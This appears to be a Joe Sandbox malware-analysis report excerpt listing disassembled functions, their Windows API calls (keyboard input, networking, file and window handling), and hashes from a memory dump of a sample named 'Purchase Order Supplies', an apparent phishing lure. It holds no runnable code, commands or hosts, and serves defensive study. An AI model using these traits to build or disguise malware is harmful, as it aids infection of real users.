Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: FileRead_memmove
String ID:
API String ID: 1325644223-0
Opcode ID: a25e68bf3f7c0eeaf7ac7cba9f5791fd78ad61353f9431549cfb5fe1452c3cbf
Instruction ID: bbd966bdeeae1a22b2743300f16c7194b78ac071a848c348735eb79fd9ca4ebe
Opcode Fuzzy Hash: a25e68bf3f7c0eeaf7ac7cba9f5791fd78ad61353f9431549cfb5fe1452c3cbf
Instruction Fuzzy Hash: 68A1AD70A04609EBDF00CF69C988BB9FBB0FF05300F14C599E8699A295D735E961DBA1

Function 00CB42EB Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CB4347
_memcpy_s.LIBCMT ref: 00CB43B9
__filbuf.LIBCMT ref: 00CB443A
_memset.LIBCMT ref: 00CB447E

Part of subcall function 00CB889E: __getptd_noexit.LIBCMT ref: 00CB889E

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit_memcpy_s
String ID:
API String ID: 3877424927-0
Opcode ID: aebda769b95e77701e436127e080a9cadaa2a4c9016d62218a8c9d4b87048a89
Instruction ID: 42d4202d684cf98870843d72977c4871abf41b7469c356ec97e71ce8e20c4a99
Opcode Fuzzy Hash: aebda769b95e77701e436127e080a9cadaa2a4c9016d62218a8c9d4b87048a89
Instruction Fuzzy Hash: A5519670A08305DBDF2C8FA988806EE77F5AF40320F288729F875962E2D7709E559F40

Function 00CFC2E7 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00CFC354
ScreenToClient.USER32(?,00000002), ref: 00CFC384
MoveWindow.USER32(00000002,?,?,?,000000FF,00000001,?,00000002,?,?,?,00000002,?,?), ref: 00CFC3EA

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 245e2db09f3fde4406885c9f2ce87b7f346960099a6667bada80a49c074b8d53
Instruction ID: e64786a0dc1292cdae8336d72396fccc1462a9748132182ef4f78216d2325649
Opcode Fuzzy Hash: 245e2db09f3fde4406885c9f2ce87b7f346960099a6667bada80a49c074b8d53
Instruction Fuzzy Hash: 82514E75A0020DEFCF60DF68C9C0ABE7BB6BB45360F208559EA25DB291D7709E41CB91

Function 00CCD206 Relevance: 6.1, APIs: 4, Instructions: 130windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00CCD258
__itow.LIBCMT ref: 00CCD292

Part of subcall function 00CCD4DE: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00CCD549

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00CCD2FB
__itow.LIBCMT ref: 00CCD350

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 40c0c15373227491fc566210cd9d69bec07a8ddeb894084940f86fbc6753818e
Instruction ID: 24ed7702c5bd71b79b64775873a22b473f4f4de7c279f43433bed0a348f3ad91
Opcode Fuzzy Hash: 40c0c15373227491fc566210cd9d69bec07a8ddeb894084940f86fbc6753818e
Instruction Fuzzy Hash: 9E41A171A00749AFDF15EF54C856FEE7BB9AF48700F000029FA16A3291DB709E45DB62

Function 00CDEE88 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00CDEF32
GetLastError.KERNEL32(?,00000000), ref: 00CDEF58
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00CDEF7D
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00CDEFA9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 798e33264db7149b0fd62ca5e917960b39d3ad4c32049ffcd2170c7aff12cd3e
Instruction ID: 38225a7467f10f32590d12a1909a24302a29bd2daf55fdbf9e639d785524bfbb
Opcode Fuzzy Hash: 798e33264db7149b0fd62ca5e917960b39d3ad4c32049ffcd2170c7aff12cd3e
Instruction Fuzzy Hash: C2415939600611DFCF10EF55C598A49BBE6EF8A320B19C089E956AF362CB34FD44DB91

Function 00CFB354 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00CFB3E1

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 13b6de90189320c547a42504abd82d02feb3868444650432a1703f6cca53a736
Instruction ID: c089a11d677a7ce27fdf94f5d42d4c2b3f33019f7dde2f1fef6dcbe86a57b60d
Opcode Fuzzy Hash: 13b6de90189320c547a42504abd82d02feb3868444650432a1703f6cca53a736
Instruction Fuzzy Hash: 2931B43464020CFBEFA49E58CD85BB83B65AB05350F248512FB61D62E2CB30DE459B63

Function 00CFD5EE Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00CFD617
GetWindowRect.USER32(?,?), ref: 00CFD68D
PtInRect.USER32(?,?,00CFEB2C), ref: 00CFD69D
MessageBeep.USER32(00000000), ref: 00CFD70E

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 5c52b776283f994e7d000d3ae339704f1f4150476674d74369e3c5fd67a6ca7f
Instruction ID: 3b13451e97fbd1e7c9caf0eb1d12cb0a0e9ee2447f2afbd15066fb13cc55a3d5
Opcode Fuzzy Hash: 5c52b776283f994e7d000d3ae339704f1f4150476674d74369e3c5fd67a6ca7f
Instruction Fuzzy Hash: 33418A34A00218EFCB51DF58D885BA97BF2BB45300F1485AAEA1ADF351D730E941DB52

Function 00CD4497 Relevance: 6.1, APIs: 4, Instructions: 104keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,7697C0D0,?,00008000), ref: 00CD44EE
SetKeyboardState.USER32(00000080,?,00008000), ref: 00CD450A
PostMessageW.USER32(00000000,00000101,00000000,?), ref: 00CD456A
SendInput.USER32(00000001,?,0000001C,7697C0D0,?,00008000), ref: 00CD45C8

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: a07a890f2fbfefe6d7ecc02ce07a7070b194d0232decd94440af65b98b424e33
Instruction ID: d0d0bedb45ff36e99ef0470e13f515a6f2cec513b0c25973c1dbc785fae857dd
Opcode Fuzzy Hash: a07a890f2fbfefe6d7ecc02ce07a7070b194d0232decd94440af65b98b424e33
Instruction Fuzzy Hash: 0D31E771900298AFEF389B64A8087FE7BA69B49314F04025BF791923C1EB749F45D762

Function 00CC4DB4 Relevance: 6.1, APIs: 4, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00CC4DE8
__isleadbyte_l.LIBCMT ref: 00CC4E16
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00CC4E44
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00CC4E7A

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 223ac9fa70c6b77e90af9e213893b6d93cfd3547fc2bfac6703a475971e1632d
Instruction ID: 278fcb8041fcaef392f74aad067cb472750b19f7cc36b582d6b8d3ce7cca63b1
Opcode Fuzzy Hash: 223ac9fa70c6b77e90af9e213893b6d93cfd3547fc2bfac6703a475971e1632d
Instruction Fuzzy Hash: 1D31B031600246AFDF299F75C855FAABBA6FF41320F16C52CE821871A0E730DD51DB90

Function 00CF7AA2 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00CF7AB6

Part of subcall function 00CD69C9: GetWindowThreadProcessId.USER32(?,00000000), ref: 00CD69E3
Part of subcall function 00CD69C9: GetCurrentThreadId.KERNEL32 ref: 00CD69EA
Part of subcall function 00CD69C9: AttachThreadInput.USER32(00000000,?,00CD8127), ref: 00CD69F1

GetCaretPos.USER32(?), ref: 00CF7AC7
ClientToScreen.USER32(00000000,?), ref: 00CF7B00
GetForegroundWindow.USER32 ref: 00CF7B06

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: bc4778eb6061164b985fba049067c05b1ebf31f0cac3beaf198bda0eeab94274
Instruction ID: 07e35853e4b54a06382bbbedb2cddf44114f99fee383fb813dc9a23702635558
Opcode Fuzzy Hash: bc4778eb6061164b985fba049067c05b1ebf31f0cac3beaf198bda0eeab94274
Instruction Fuzzy Hash: 33313071D00119AFCB00EFB9D8859EFBBFDEF55314B11806AE515E3211DA349E05DBA0

Function 00CE497B Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00CE49B7

Part of subcall function 00CE4A41: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00CE4A60
Part of subcall function 00CE4A41: InternetCloseHandle.WININET(00000000), ref: 00CE4AFD

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 04bb91efd37aa64b6dab76ff5986c4db1bc88ec3ec5b3068af5b3fa9da4d63e9
Instruction ID: 334e87677fd1da8351686b0960538f54b2c8dd464d998f56af92d81725fb8cd3
Opcode Fuzzy Hash: 04bb91efd37aa64b6dab76ff5986c4db1bc88ec3ec5b3068af5b3fa9da4d63e9
Instruction Fuzzy Hash: 8021D431240745BFDB1A9F628C00FBBB7AEFB48711F10402AFA1696651EB719911B7A4

Function 00CF8834 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00CF88A3
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00CF88BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00CF88CB
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00CF88D9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 437c704dbc161e1955e97132adfbe22c9180f22b28fc017986a4df21ca1440da
Instruction ID: ac97878665e212ca342eec534c1d5fc21ce6fda7e33e46b81e0a2a1bc42e2dfe
Opcode Fuzzy Hash: 437c704dbc161e1955e97132adfbe22c9180f22b28fc017986a4df21ca1440da
Instruction Fuzzy Hash: 3211AF32344115BFDB04AB28CC05FBA77AAAF85360F048119F916C72E1CB74AC0597A5

Function 00CE900C Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,00000001,00000000,00000000,?), ref: 00CE906D
__WSAFDIsSet.WS2_32(00000000,00000001), ref: 00CE907F
accept.WS2_32(00000000,00000000,00000000), ref: 00CE908C
WSAGetLastError.WS2_32(00000000), ref: 00CE90A3

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorLastacceptselect
String ID:
API String ID: 385091864-0
Opcode ID: d1180d49b3f552adb365615b22160ae8da34291ad9463efa968d1a6d255e280f
Instruction ID: 30bfb57ae898a76e2784e388a62f0ec806d84f23f448883289e77498c2e8ecb5
Opcode Fuzzy Hash: d1180d49b3f552adb365615b22160ae8da34291ad9463efa968d1a6d255e280f
Instruction Fuzzy Hash: 292157719001246FC710DF69D885ADABBFCEF49710F00816AF84AD7390DB74DA41CBA0

Function 00CD18E8 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD2CAA: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00CD18FD,?,?,?,00CD26BC,00000000,000000EF,00000119,?,?), ref: 00CD2CB9
Part of subcall function 00CD2CAA: lstrcpyW.KERNEL32(00000000,?,?,00CD18FD,?,?,?,00CD26BC,00000000,000000EF,00000119,?,?,00000000), ref: 00CD2CDF
Part of subcall function 00CD2CAA: lstrcmpiW.KERNEL32(00000000,?,00CD18FD,?,?,?,00CD26BC,00000000,000000EF,00000119,?,?), ref: 00CD2D10

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00CD26BC,00000000,000000EF,00000119,?,?,00000000), ref: 00CD1916
lstrcpyW.KERNEL32(00000000,?,?,00CD26BC,00000000,000000EF,00000119,?,?,00000000), ref: 00CD193C
lstrcmpiW.KERNEL32(00000002,cdecl,?,00CD26BC,00000000,000000EF,00000119,?,?,00000000), ref: 00CD1970

Strings

cdecl, xrefs: 00CD1967

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: b28c697c96bda7507696c35f484dbc848c9b0faf4c21ebcb75b8ce0dc2030456
Instruction ID: 5c7d53f9e735544e776a5dd6972b9543ee529ea57c9c8eef4fa5fbe24c91eabd
Opcode Fuzzy Hash: b28c697c96bda7507696c35f484dbc848c9b0faf4c21ebcb75b8ce0dc2030456
Instruction Fuzzy Hash: 6611D036100301BFDB15AF74C865DBA77B9FF84350B44902BF906CB360EB31994197A1

Function 00CD713C Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00CD715C
_memset.LIBCMT ref: 00CD717D
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00CD71CF
CloseHandle.KERNEL32(00000000), ref: 00CD71D8

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 706364e45f4be52b9a2480d9ba50875ab819a1f17ba73944b1327d727bd35644
Instruction ID: 39c74c776226e3edac54f597d9d4b9e96a979dc40d6034b86171221d064606c4
Opcode Fuzzy Hash: 706364e45f4be52b9a2480d9ba50875ab819a1f17ba73944b1327d727bd35644
Instruction Fuzzy Hash: 461194719013287AE7206B65AC4DFEFBA7CEF45760F10429AB518E7290D7744E808AA4

Function 00CD13D1 Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00CD13EE
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00CD1409
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00CD141F
FreeLibrary.KERNEL32(?), ref: 00CD1474

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Type$FileFreeLibraryLoadModuleNameRegister
String ID:
API String ID: 3137044355-0
Opcode ID: 96c5180435c94908da958242319aa2d5d39a584641806876ee4a0ceee12ef376
Instruction ID: 96796ce33bbc80a73b5c8801c0ab6bd5f101f3f02273e50e5bab6d38adc46917
Opcode Fuzzy Hash: 96c5180435c94908da958242319aa2d5d39a584641806876ee4a0ceee12ef376
Instruction Fuzzy Hash: E9217271540309BBDB209F91DD88ADABBB8EF00744F04846BEA2297250DB74EA45DF61

Function 00CCC265 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00CCC285
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00CCC297
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00CCC2AD
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00CCC2C8

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
